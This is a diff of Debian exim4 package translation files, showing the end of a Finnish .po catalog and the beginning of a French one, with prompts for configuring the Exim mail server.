+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Jos tällä koneella ei ole pysyvää yhteyttä nimipalveluun (DNS) (esimerkiksi "
+"kun käytetään tarvittaessa avattavaa soittoyhteyttä), tällä saattaa olla ei-"
+"toivottuja seurauksia. Esimerkiksi Eximin käynnistys tai postijonon "
+"käsittely (vaikka siinä ei olisikaan yhtään viestiä) saattaa aiheuttaa "
+"kalliin soittoyhteyden avaamisen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Tämän valinnan tulisi olla päällä, jos järjestelmä käyttää tarvittaessa "
+"avattavaa soittoyhteyttä. Jos Internet-yhteys on päällä koko ajan, tämän "
+"valinnan tulisi olla poissa käytöstä."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Sähköpostipalvelimen asetukset"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Jaetaanko asetukset pieniin tiedostoihin?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debianin exim4-paketit voivat käyttää joko â€jakamatonta asetustiedostoaâ€, "
+"jolloin asetukset ovat yhdessä suuressa tiedostossa (/etc/exim4/exim4.conf."
+"template), tai â€jaettuja asetustiedostojaâ€, jolloin Eximin asetukset "
+"muodostetaan noin 50 pienemmästä hakemistossa /etc/exim4/conf.d/ olevasta "
+"tiedostosta."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Jakamaton asetustiedosto sopii paremmin isoihin muutoksiin ja on yleisesti "
+"ottaen vakaampi. Jaetut asetustiedostot puolestaan tarjoavat mukavan tavan "
+"pienten muutosten tekemiseen, mutta ovat helpommin särkyvä järjestelmä ja "
+"voivat mennä rikki, jos asetuksia muutetaan huolimattomasti."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Tarkempia tietoja jakamattomista ja jaetuista asetustiedostoista löytyy "
+"hakemiston /usr/share/doc/exim4-base Debiania käsittelevistä README-"
+"tiedostoista."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Piilotetaanko paikallinen postinimi lähtevässä postissa?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Lähtevien viestien otsikkorivejä voidaan muokata siten, että posti näyttää "
+"tulevan joltain muulta koneelta. Jos tämä valitaan, muutetaan riveillä From, "
+"Reply-To, Sender ja Return-Path olevat â€${mailname}â€, â€localhost†ja "
+"â€${dc_other_hostnames}â€."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox-muoto hakemistossa /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-muoto kotihakemistossa"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Paikallisen sähköpostin toimitustapa:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim voi tallentaa paikallisesti välitetyn sähköpostin eri tavoilla. "
+"Käytetyimmät tallennustavat ovat mbox ja Maildir. mbox tallentaa koko "
+"postikansion hakemistoon /var/mail/ yhteen tiedostoon. Maildir tallentaa "
+"jokaisen viestin omaan tiedostoonsa hakemistoon ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Useimmat Debianin sähköpostityökalut oletusarvoisesti odottavat paikallisen "
+"toimitustavan olevan mbox."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Siirretäänkö perille toimittamattomat sähköpostit exim(v3):n postijonosta "
+#~ "exim4:n postijonoon?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Exim(v3):n (tai exim-tls(v3):n) postijonossa hakemistossa /var/spool/exim/"
+#~ "input/ on joitakin perille toimittamattomia viestejä."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Valinta siirtää nämä viestit exim4:n postijonoon (/var/spool/exim4/"
+#~ "input/), josta exim4 ne käsittelee."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Muunnos on yksisuuntainen: Exim4 osaa käsitellä exim(v3):n postijonon "
+#~ "mutta ei päinvastoin. Viestit pitäisi siirtää vain jos ei ole tarkoitus "
+#~ "palata takaisin exim(v3):een. Muussa tapauksessa viestit olisi "
+#~ "siirrettävä myöhemmin itse."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Jos tämä luettelo on tyhjä, exim ei kuljeta viestejä paikallisille "
+#~ "vastaanottajille."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Huomaa tämän olevan yksisuuntainen tie: exim4 osaa käsitellä exim(v3):n "
+#~ "postijonoa, mutta ei toisinpäin. "
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Siirä sähköpostit vain jos et aio palata exim(v3):een. Muussa tapauksessa "
+#~ "posteja ei pitäisi siirtää nyt, vaan siirrät ne itse kunhan olet "
+#~ "muuttanut asetukset. "
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Jos on lisää, kirjoita ne tähän kaksoispisteellä eroteltuina. Voit jättää "
+#~ "tyhjäksi jos ei ole enempää. "
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "Kirjoita ne verkkoalueet joiden posti hyväksytään välitettäväksi."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Näiden verkkoalueiden posti hyväksytään välitettäväksi mistä tahansa "
+#~ "Internetistä. Älä kirjoita paikallisia verkkoalueita tähän. "
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Tähän kirjoitettavat verkkoaluenimet olisi eroteltava kaksopispisteellä. "
+#~ "Jokerimerkkejä voi käyttää. "
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Koska paikallisen postinimen piilotus on käytössä lähtevälle postille, on "
+#~ "määritettävä verkkoaluenimi jota käytetään paikallisten käyttäjien "
+#~ "lähtevissä sähköposteissa; tyypillisesti tämä on se kone jossa "
+#~ "normaalisti vastaanotat sähköpostit."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Missä käyttäjät lukevat sähköpostinsa?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Kone joka käsittelee tämän koneen lähtevän postin (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Kirjoita sen koneen konenimi johon lähtevä sähköposti lähetetään."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\", \"root\", and other system accounts is "
+#~ "usually redirected to the user account of the actual system "
+#~ "administrator. If you leave this value empty, such mail will be saved in /"
+#~ "var/mail/mail, which is not recommended. Note that postmaster's mail "
+#~ "should be read on the system to which it is directed, rather than being "
+#~ "forwarded elsewhere, so (at least one of) the users you choose should not "
+#~ "redirect their mail off this machine. Use a \"real-\" prefix to force "
+#~ "local delivery."
+#~ msgstr ""
+#~ "Käyttäjille \"postmaster\", \"root\" tai muu järjestelmätunnus menevä "
+#~ "sähköposti on tavallisesti ohjattu menemään järjestelmän pääkäyttäjän "
+#~ "tunnukselle. Jos jätät tämän asetuksen tyhjäksi, heidän sähköpostinsa "
+#~ "talletetaan tiedostoon /var/mail/mail, mitä ei suositella. Huomaa, että "
+#~ "käyttäjän \"postmaster\" sähköposti pitäisi lukea siinä koneessa johon se "
+#~ "on osoitettu, eikä ohjata sitä muualle, joten (ainakin yhden) "
+#~ "valitsemistasi käyttäjistä ei pitäisi ohjata sähköpostiaan muualle tästä "
+#~ "koneesta. Käytä \"real-\" etuliitettä pakottaaksesi sähköpostin "
+#~ "toimitettavaksi paikallisesti."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Käytä tätä ominaisuutta jos soittoyhteys avataan tarvittaessa. Muussa "
+#~ "tapauksessa ota se pois päältä."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Valitse asetustyypeistä se joka parhaiten sopii tarpeisiisi."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Jos olet epävarma, ei pitäisi jakaa asetuksia erillisiin tiedostoihin."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "muunna itse Exim v3:n itse tehdyistä asetuksista"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Teetkö Exim4:n asetukset itse?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Ilmoitit tehneesi Exim 3:n asetukset itse. Niiden muuttamiseen Exim 4:lle "
+#~ "voi käyttää työkalua exim_convert4r4(8) asennuksen jälkeen. Tutki "
+#~ "tiedostoja /usr/share/doc/exim4-base/examples/example.conf.gz ja /usr/"
+#~ "share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Sähköpostijärjestelmä on rikki eikä sitä voi käyttää ennen kuin asetukset "
+#~ "on tehty."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Järjestelmän \"postinimi\" on konenimen osuus sähköpostiosoitteesta, joka "
+#~ "näkyy lähtevissä nyysseissä ja sähköposteissa (käyttäjänimen ja @-merkin "
+#~ "jälkeinen osa), paitsi jos se piilotetaan osoitteen "
+#~ "uudelleenkirjoituksella."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Kirjoita tähän ne paikallisten koneiden aliverkot, joista tuleva posti "
+#~ "hyväksytään välitettäväksi."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Tähän pitäisi sisältyä lista kaikista koneista, jotka käyttävät tätä "
+#~ "konetta smarthostina."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "IPv6-osoitteissa on kaksoispisteet kahdennettava (esim. "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Kirjoita kaksoispistein eroteltu lista IP-osoitteita joita kuunnellaan. "
+#~ "IPv6 osoitteissa on kaksoispisteet kahdennettava (esim. "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Tehdään Exim v4:n asetuksia (exim4-config)"
+
+#, fuzzy
+#~ msgid ""
+#~ "If you are configuring this system without local mail delivery this name "
+#~ "won't appear on From: lines of mail, as rewriting is used."
+#~ msgstr ""
+#~ "Jos määrittelet tämän koneen satelliitiksi, tämä nimi ei näy sähköpostin "
+#~ "From:-riveillä, koska osoitteiden uudelleenkirjoitus on käytössä."
+
+#~ msgid ""
+#~ "Obviously, any machines that use us as a smarthost have to be excluded "
+#~ "from the relaying controls, as using us to relay mail for them is the "
+#~ "whole point."
+#~ msgstr ""
+#~ "Tietenkin on tätä konetta smarthostina käyttävät koneet ohitettava "
+#~ "postinvälityksen ohjauksista, koska tämän koneen on nimenomaan tarkoitus "
+#~ "välittää niiden postia."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected "
+#~ "to one or more user accounts of the actual system administrators. The "
+#~ "default is to set things up so that mail for \"postmaster\" and for "
+#~ "various system accounts is redirected to \"root\", and mail for \"root\" "
+#~ "is redirected to a real user. This can be changed by editing /etc/"
+#~ "aliases."
+#~ msgstr ""
+#~ "Tunnuksille \"postmaster\" ja \"root\" tuleva sähköposti ohjataan "
+#~ "tavallisesti yhteen tai useampaan varsinaisten ylläpitäjien "
+#~ "sähköpostilaatikoista. Oletusarvoisesti asetukset tehdään siten että "
+#~ "\"postmaster\" ja erinäisille järjestelmän tunnuksille tuleva posti "
+#~ "ohjataan tunnukselle \"root\" ja tunnuksen \"root\" posti ohjataan oikean "
+#~ "käyttäjän sähköpostilaatikkoon. Tätä voidaan muuttaa muokkaamalla "
+#~ "tiedostoa /etc/aliases. "
+
+#~ msgid ""
+#~ "System administrator mail goes to which user accounts? Enter one or more "
+#~ "usernames separated by spaces or commas. Enter \"none\" if you do not "
+#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot "
+#~ "run deliveries as root and will save the mail to /var/mail/mail Also, "
+#~ "note that usernames should be lowercase!"
+#~ msgstr ""
+#~ "Keiden käyttäjien postilaatikkoon menee järjestelmän ylläpitäjän "
+#~ "sähköposti? Kirjoita yksi tai useampia käyttäjätunnuksia välilyönnein tai "
+#~ "pilkuin eroteltuina. Kirjoita \"none\" jos et halua postin "
+#~ "uudelleenohjausta. - HUOM. Tätä kehoitetaan ankarasti välttämään. Exim ei "
+#~ "voi toimittaa postia pääkäyttäjänä ja tallettaa postit /var/mail/mail-"
+#~ "tiedostoon. Huomaa myös käyttäjätunnukset kirjoitettavan pienillä "
+#~ "kirjaimilla. "
+
+#~ msgid "internet, smarthost, satellite, local, none"
+#~ msgstr "internet, smarthost, satelliitti, paikallinen, ei mitään"
+
+#~ msgid ""
+#~ "You must choose one of the options below as configuration type for the "
+#~ "Exim mail transport agent:"
+#~ msgstr ""
+#~ "Alla olevista sähköpostin välitysohjelman (MTA) asetusten tyypeistä on "
+#~ "yksi valittava."
+
+#~ msgid ""
+#~ "Internet site - mail is sent and received directly using SMTP. If your "
+#~ "needs don't fit neatly into any category, you probably want to start with "
+#~ "this one and then edit the config file by hand."
+#~ msgstr ""
+#~ "Internetiin kytketty kone - sähköposti lähetetään ja vastaanotetaan "
+#~ "suoraan käyttäen SMTP:tä. Mikäli käyttötarkoituksesi ei sovi mihinkään "
+#~ "valmiiseen vaihtoehtoon, halunnet aloittaa tällä ja muokata "
+#~ "asetustiedostoa itse."
+
+#~ msgid ""
+#~ "Internet site using smarthost - You receive Internet mail on this "
+#~ "machine, either directly by SMTP or by running a utility such as "
+#~ "fetchmail. Outgoing mail is sent using a smarthost. optionally with "
+#~ "addresses rewritten. This is probably what you want for a dialup system."
+#~ msgstr ""
+#~ "Internetiin kytketty kone joka käyttää smarthostia - Internetistä tulevaa "
+#~ "sähköpostia vastaanotetaan tällä koneella, joko suoraan SMTP:llä tai "
+#~ "käyttämällä fetchmail:in tapaista työkalua. Lähtevä posti menee "
+#~ "smarthostille, haluttaessa käyttäen osoitteiden uudelleenkirjoitusta. "
+#~ "Tämä on se mitä hallunnet jos käytät soittoyhteyttä."
+
+#~ msgid ""
+#~ "Satellite system - All mail is sent to another machine, called a \"smart "
+#~ "host\" for delivery. root and postmaster mail is delivered according to /"
+#~ "etc/aliases. No regular mail is delivered locally."
+#~ msgstr ""
+#~ "Satelliitti - Kaikki posti lähetetään toiselle smarthostiksi kutsutulle "
+#~ "koneelle perille toimitettavaksi. Tunnusten root ja postmaster sähköposti "
+#~ "jaellaan /etc/aliases-tiedoston mukaisesti. Tavallista postia ei jaeta "
+#~ "paikallisesti."
+
+#~ msgid ""
+#~ "Local delivery only - You are not on a network. Mail for local users is "
+#~ "delivered."
+#~ msgstr ""
+#~ "Vain paikallinen sähköpostien toimitus - Verkkoyhteyttä ei ole. "
+#~ "Sähköpostit toimitetaan koneen paikallisille käyttäjille. "
diff --git a/debian/po/fr.po b/debian/po/fr.po
new file mode 100644
index 0000000..854b392
--- /dev/null
+++ b/debian/po/fr.po
@@ -0,0 +1,682 @@
+# translation of fr.po to French
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+# Christian Perrier <bubulle@debian.org>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: fr\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-06 08:17+0200\n"
+"Last-Translator: Christian Perrier <bubulle@debian.org>\n"
+"Language-Team: French <debian-l10n-french@lists.debian.org>\n"
+"Language: fr\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Faut-il supprimer les courriers non distribués du tampon d'envoi ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Des courriers électroniques non distribués ont été trouvés dans le tampon "
+"d'envoi d'Exim (/var/spool/exim4/input). Si vous supprimez Exim, ils ne "
+"seront pas distribués tant qu'il ne sera pas réinstallé."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Si vous refusez cette option, le tampon d'envoi sera conservé, ce qui "
+"permettra de distribuer les messages de la file d'attente lors de la "
+"réinstallation d'Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfiguration d'Exim avec exim4-config"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"La configuration d'Exim 4 est gérée par un paquet dédié nommé exim4-config. "
+"Si vous souhaitez reconfigurer Exim 4, vous devez utiliser la commande "
+"« dpkg-reconfigure exim4-config »."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Distribution directe par SMTP (site Internet)"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "Envoi par relais (« smarthost ») — réception SMTP ou fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "Envoi par relais (« smarthost ») — pas de courrier local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "Distribution locale seulement (pas de réseau)"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "Pas de configuration pour l'instant"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Type de configuration :"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Veuillez choisir le type de configuration qui correspond le mieux à vos "
+"besoins."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Les systèmes utilisant des adresses IP dynamiques, notamment les systèmes "
+"connectés par intermittence, doivent le plus souvent être configurés pour "
+"envoyer les courriers électroniques sortants à une autre machine qui sert de "
+"relais (« smarthost »). Cette option est conseillée car de nombreux systèmes "
+"bloquent la réception des courriers envoyés par les systèmes utilisant une "
+"adresse dynamique (protection contre les indésirables ou « spam »)."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un système utilisant une adresse dynamique peut recevoir son propre courrier "
+"à moins que la réception locale ne soit totalement désactivée (à l'exception "
+"des courriers pour le superutilisateur ou pour « postmaster »)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Faut-il vraiment laisser le serveur de courrier non configuré ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Tant qu'il ne sera pas configuré, votre serveur de courrier ne sera pas en "
+"état de fonctionner et sera inutilisable en l'état. Vous pouvez bien sûr le "
+"configurer vous-même plus tard ou utiliser la commande « dpkg-reconfigure "
+"exim4-config » avec les privilèges du superutilisateur."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nom de courrier du système :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Le nom de courrier (« mail name ») est le nom de domaine qui sert à "
+"compléter les adresses électroniques qui n'en comportent pas."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Ce nom sera également utilisé par d'autres programmes ; il doit correspondre "
+"au domaine unique et complètement qualifié (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Par exemple, si une adresse électronique locale est toto@example.org, la "
+"valeur appropriée pour cette option sera « example.org »."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ce nom n'apparaîtra pas dans les en-têtes origines (« From ») des courriers "
+"sortants si vous activez la réécriture."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Autres destinations dont le courrier doit être accepté :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Veuillez indiquer une liste des domaines, séparés par des points-virgules, "
+"pour lesquels cette machine est la destination finale. Il est inutile de "
+"mentionner ici le nom d'hôte local (${fqdn}) ou « localhost ». Ces domaines "
+"sont habituellement appelés des domaines locaux."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Par défaut, tous les domaines seront traités à l'identique. Ainsi, si a."
+"exemple et b.exemple sont des domaines locaux, acc@a.exemple et acc@b."
+"exemple seront distribués au même destinataire. Si vous souhaitez traiter un "
+"domaine d'une manière différente, vous devrez modifier les fichiers de "
+"configuration ultérieurement."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domaines à relayer :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Veuillez indiquer la liste des domaines pour lesquels ce système acceptera "
+"de relayer les courriers (par exemple en tant que serveur MX de secours ou "
+"en tant que passerelle de courrier). Le courrier destiné à ces domaines sera "
+"accepté quel que soit le système émetteur et sera distribué selon les règles "
+"locales de distribution."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Il n'est pas nécessaire de mentionner les domaines locaux ici. Des "
+"caractères joker peuvent être utilisés."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Machines à relayer :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Veuillez indiquer une liste de plages d'adresses IP, séparées par des points-"
+"virgules, pour lesquelles ce système acceptera de relayer le courrier sans "
+"discrimination (fonctionnement en « smarthost »)."
+
+#. Type: string
